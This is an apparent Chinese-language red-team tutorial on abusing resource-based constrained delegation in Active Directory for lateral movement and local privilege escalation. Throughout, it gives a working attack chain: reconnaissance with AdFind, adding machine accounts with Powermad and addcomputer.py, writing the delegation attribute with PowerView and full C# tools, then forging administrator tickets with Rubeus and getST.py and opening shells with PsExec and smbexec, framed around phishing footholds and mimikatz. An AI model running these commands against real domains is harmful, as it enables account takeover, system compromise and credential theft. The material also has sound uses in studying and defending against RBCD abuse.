0x00 前言 基于资源的约束委派(RBCD) 是在 Windows Server 2012 中新加入的功能,与传统的约束委派相比,它不再需要域管理员权限去设置相关属性。RBCD 把设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制我。也就是说机器自身可以直接在自己账户上配置 msDS-AllowedToActOnBehalfOfOtherIdentity 属性来设置 RBCD。
那么谁有权限配置 msDS-AllowedToActOnBehalfOfOtherIdentity 属性
将机器加入域的账号,也就是 mS-DS-CreatorSID 属性中的账户
机器账户自身也可以修改
利用基于资源的约束委派(RBCD)需要2个条件:
1.拥有将域机器加入域的域用户的权限 。(将机器加入域的域用户拥有修改该机器的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的权限。)
2.一个任意服务账户或者一个机器账户 (每一个域用户都可以添加 10 个机器账户,添加的机器账户默认会注册 spn 服务)
0x01 横向 1.1.环境说明
主机
机器名
ip
域控
dc.test.local
192.168.247.8
域内win10(已控)
win10.test.local
192.168.247.10
域内win2012(目标)
win2012.test.local
192.168.247.11
1.2.信息收集
通过 ADFind 查找将域机器拉入域的用户的 SID:
1 AdFind.exe -b "DC=test,DC=local" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID
可以发现WIN10
和WIN2012
的mS-DS-CreatorSID
值是相同的,说明他们是用的同一个域账号进行加域操作的。同时显示mS-DS-CreatorSID
值为空说明他们是使用的域管账号进行加域操作的。
1 AdFind.exe -b "DC=test,DC=local" -f "(&(objectsid=S-1-5-21-3289781467-4043238699-2345174683-2603))" objectclass cn dn
发现对应的域账号即当前我们获取的域账号权限。
同样上面的信息收集可以通过一个程序一步到位,代码来自:微软不认的“0day”之域内本地提权-烂番茄(Rotten Tomato)
.NET 实现在域内查询计算机”mS-DS-CreatorSID”属性的工具
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 using System;using System.Security.Principal;using System.DirectoryServices;namespace ConsoleApp9{ class Program { static void Main (string [] args) { DirectoryEntry ldap_conn = new DirectoryEntry("LDAP://dc=test,dc=local" ); DirectorySearcher search = new DirectorySearcher(ldap_conn); String query = "(&(objectClass=computer))" ; search.Filter = query; foreach (SearchResult r in search.FindAll()) { String mS_DS_CreatorSID="" ; String computername = "" ; try { computername = r.Properties["dNSHostName" ][0 ].ToString(); mS_DS_CreatorSID = (new SecurityIdentifier((byte[])r.Properties["mS-DS-CreatorSID" ][0 ], 0 )).ToString(); } catch { ; } String UserQuery = "(&(objectClass=user))" ; DirectorySearcher search2 = new DirectorySearcher(ldap_conn); search2.Filter = UserQuery; foreach (SearchResult u in search2.FindAll()) { String user_sid = (new SecurityIdentifier((byte[])u.Properties["objectSid" ][0 ], 0 )).ToString(); if (user_sid == mS_DS_CreatorSID) { String username = u.Properties["name" ][0 ].ToString(); Console.WriteLine("[*] [{0}] -> creator [{1}]" ,computername, username); } } } } } }
这样就可以直接看到域内的主机是通过哪个域账号进行的加域操作。
1.3.创建机器用户 默认域控的 ms-DS-MachineAccountQuota 属性设置允许所有域用户向一个域添加最多 10 个计算机账户;
同时使用域账户创建或加入域的机器账户自动注册 SPN 变为服务账户。
所以我们创建了一个机器用户就相当于拥有了服务账户。
可以使用Powermad
1 powershell.exe -exec bypass -Command "& {Import-Module C:\Users\adduser\Desktop\Powermad-master\Powermad-master\Powermad.ps1;New-MachineAccount -MachineAccount evilpc -Password $(ConvertTo-SecureString "1qaz@WSX" -AsPlainText -Force)}"
可以看到成功添加了机器用户evilpc$
。
同时注册了spn服务。
使用impacket套件中的addcomputer.py添加(无需在域内,只需要拥有一个域账号和网络通即可)。
1 python3 addcomputer.py -dc-ip 192.168.247.8 -computer-name evilpc2 -computer-pass 123456 "test.local/adduser:1qaz@WSX"
1.4.配置基于资源的约束委派 powerview.ps1(Empire) 查询添加机器的SID
1 powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1;Get-DomainComputer -Identity evilpc -Properties objectsid}"
配置基于资源的约束委派
修改SID为添加用户的SID,修改Get-DomainComputer
后面跟目标主机名。
1 2 3 4 5 6 7 8 Import-Module .\powerview.ps1$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3289781467-4043238699-2345174683-2606)" $SDBytes = New-Object byte[] ($SD .BinaryLength)$SD .GetBinaryForm($SDBytes , 0 )Get-DomainComputer WIN2012| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity' =$SDBytes } -Verbose
在非交互的情况下可以将如下代码保存为 rbcd.ps1
1 2 3 4 5 $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3289781467-4043238699-2345174683-2606)" $SDBytes = New-Object byte[] ($SD .BinaryLength)$SD .GetBinaryForm($SDBytes , 0 )Import-Module C:\Users\adduser\Desktop\powerview.ps1Get-DomainComputer WIN2012 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity' =$SDBytes } -Verbose
1 powershell -ExecutionPolicy bypass -File ./rbcd.ps1
检查是否配置成功
1 powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1;Get-DomainComputer WIN2012 -Properties msds-allowedtoactonbehalfofotheridentity}"
攻击完成清除基于资源的约束委派配置:
1 powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1;Set-DomainObject WIN2012 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose}"
rbcd.py https://github.com/tothi/rbcd-attack,依赖impacket,域外一步到位。
1 python3 rbcd.py -f EVILPC2 -t WIN2012 -dc-ip 192.168.247.8 test\\adduser:1qaz@WSX
1.5.获取票据 Rubeus(1.4.2) Rubeus1.4.2需要依赖.net3.5。
1 Rubeus.exe hash /user:evilpc /password:1qaz@WSX /domain:test.local
我尝试从网上下载Rubeus.exe2.0发现s4u失败了,1.4.2版本没问题。
1 Rubeus.exe s4u /user:evilpc$ /rc4:161CFF084477FE596A5DB81874498A24 /impersonateuser:administrator /msdsspn:cifs/WIN2012 /ptt
再申请一个host服务的票据
1 Rubeus.exe s4u /user:evilpc$ /rc4:161CFF084477FE596A5DB81874498A24 /impersonateuser:administrator /msdsspn:cifs/WIN2012 /ptt
1 PsExec.exe \\WIN2012 cmd.exe
getST.py 在域外且有域账号的情况下。
1 2 3 4 python3 getST.py -dc-ip 192.168.247.8 -spn cifs/WIN2012.test.local -impersonate administrator test.local/evilpc2$:123456 export KRB5CCNAME=`pwd`/administrator.ccache klist python3 smbexec.py -no-pass -k WIN2012.test.local
0x02 提权 2.1.场景说明 在我们做社工钓鱼的时候经常会上线一些域账号,但是这些域用户没有在本地管理员组里面,我们是没有去抓密码啥的。所以就需要提权。
前提条件:上线的域账号为该机器加入域用到的域账号
2.2.利用RBCD进行提权 这里就利用RBCD进行提权,可以用以下代码实现 RBCD 创建机器账户和配置基于资源的约束委派的全过程。
代码来自:微软不认的“0day”之域内本地提权-烂番茄(Rotten Tomato)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 using System;using System.Text;using System.Security.AccessControl;using System.S ecurity.Principal;using System.Net;using System.DirectoryServices;namespace Addnew_MachineAccount{ class Program { static void Main (string [] args) { String DomainController = "192.168.247.8" ; String Domain = "test.local" ; String new_MachineAccount = "testpc1" ; String new_MachineAccount_password = "123456" ; String victimcomputer = "WIN10" ; String victimcomputer_ldap_path = "LDAP://CN=WIN10,CN=Computers,DC=test,DC=local" ; String machine_account = new_MachineAccount; String sam_account = machine_account + "$" ; String distinguished_name = "" ; String[] DC_array = null; distinguished_name = "CN=" + machine_account + ",CN=Computers" ; DC_array = Domain.Split('.' ); foreach (String DC in DC_array) { distinguished_name += ",DC=" + DC; } Console.WriteLine("[+] Elevate permissions on " + victimcomputer); Console.WriteLine("[+] Domain = " + Domain); Console.WriteLine("[+] Domain Controller = " + DomainController); System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389 ); System.DirectoryServices.Protocols.LdapConnection connection = null; connection = new System.DirectoryServices.Protocols.LdapConnection(identifier); connection.SessionOptions.Sealing = true ; connection.SessionOptions.Signing = true ; connection.Bind(); var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] { new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName" , machine_account +"." + Domain), new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName" , sam_account), new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl" , "4096" ), new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd" , Encoding.Unicode.GetBytes("\"" + new_MachineAccount_password + "\"" )), new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass" , "Computer" ), new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName" , "HOST/" +machine_account+"." +Domain,"RestrictedKrbHost/" +machine_account+"." +Domain,"HOST/" +machine_account,"RestrictedKrbHost/" +machine_account) }); try { connection.SendRequest(request); Console.WriteLine("[+] Machine account: " + machine_account + " Password: " + new_MachineAccount_password + " added" ); } catch (System.Exception ex) { Console.WriteLine("[-] The new machine could not be created! User may have reached ms-DS-new_MachineAccountQuota limit.)" ); Console.WriteLine("[-] Exception: " + ex.Message); return ; } var new_request = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "(&(samAccountType=805306369)(|(name=" + machine_account + ")))" , System.DirectoryServices.Protocols.SearchScope.Subtree, null); var new_response = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(new_request); SecurityIdentifier sid = null; foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in new_response.Entries) { try { sid = new SecurityIdentifier(entry.Attributes["objectsid" ][0 ] as byte[], 0 ); Console.Out.WriteLine("[+] " + new_MachineAccount + " SID : " + sid.Value); } catch { Console.WriteLine("[!] It was not possible to retrieve the SID.\nExiting..." ); return ; } } System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry("test.local" ); myldapConnection.Path = victimcomputer_ldap_path; myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure; System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection); search.Filter = "(CN=" + victimcomputer + ")" ; string [] requiredProperties = new string [] { "samaccountname" }; foreach (String property in requiredProperties) search.PropertiesToLoad.Add(property); System.DirectoryServices.SearchResult result = null; try { result = search.FindOne(); } catch (System.Exception ex) { Console.WriteLine(ex.Message + "Exiting..." ); return ; } if (result != null) { System.DirectoryServices.DirectoryEntry entryToUpdate = result.GetDirectoryEntry(); String sec_descriptor = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid.Value + ")" ; System.Security.AccessControl.RawSecurityDescriptor sd = new RawSecurityDescriptor(sec_descriptor); byte[] descriptor_buffer = new byte[sd.BinaryLength]; sd.GetBinaryForm(descriptor_buffer, 0 ); entryToUpdate.Properties["msds-allowedtoactonbehalfofotheridentity" ].Value = descriptor_buffer; try { entryToUpdate.CommitChanges(); Console.WriteLine("[+] Exploit successfully!" ); } catch (System.Exception ex) { Console.WriteLine(ex.Message); Console.WriteLine("[!] \nFailed..." ); return ; } } } } }
impacket 套件中的 getST.py 申请票据,导入票据执行命令
1 2 3 python3 getST.py -dc-ip 192.168.247.8 test.local/testpc1\$:123456 -spn cifs/WIN10.test.local -impersonate administrator export KRB5CCNAME=administrator.ccache python3 smbexec.py -no-pass -k WIN10.test.local
system权限上线就可以愉快的执行mimikatz了。
0x03 其他攻击场景
一个公司可能会有一个专门用来加域的账号,虽然这个账户通常只有普通域用户权限,但是如果我们控制了这个账户那么就可以打下一大批机器。
如果我们想拿域内机器A的权限,如果我们又没有机器A administrators 组成员凭据的话还可以看机器A是通过哪个用户加入域的,控制了这个用户依然可以获取权限。
一个域用户X 可能会在域中创建多台机器(比如笔记本和台式机都需要加入域),当我们有了域用户X的权限时,可以利用rbcd继续攻击其他mS-DS-CreatorSID是域用户X的机器。
0x04 参考链接 https://mp.weixin.qq.com/s/Ue2ULu8vxYHrYEalEzbBSw
https://mp.weixin.qq.com/s/rXqSfjTFUQJsirkhi1hmHQ
https://daiker.gitbook.io/
https://www.cnblogs.com/car7n/p/14789004.html
https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
https://xz.aliyun.com/t/8690#toc-73